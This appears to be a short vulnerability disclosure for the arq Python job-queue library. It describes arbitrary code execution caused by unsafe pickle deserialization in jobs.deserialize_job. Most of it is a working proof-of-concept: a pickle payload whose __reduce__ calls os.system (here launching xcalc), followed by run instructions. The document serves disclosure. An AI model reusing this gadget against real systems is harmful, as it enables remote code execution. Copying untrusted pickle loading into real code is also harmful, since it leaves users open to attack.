arq

vulnerability arbitrary code execution
severity 3.8
language python
registry pypi

Description

arq is a fast job queuing and RPC in python with asyncio and redis.

  • Vulnerability description untrusted loading of data by the pickle.load function leading to Arbitrary code execution.

Proof of Concept

Run exploit.py

import os
import pickle
#os.system('pip3 install arq')
from arq import jobs
#payload formation
class ArbitraryCode:
    def __reduce__(self):
        cmd = ('xcalc')
        return os.system, (cmd,)
dumps = pickle.dumps(ArbitraryCode())
jobs.deserialize_job(dumps)
  • pip3 install arq
  • python3 exploit.py
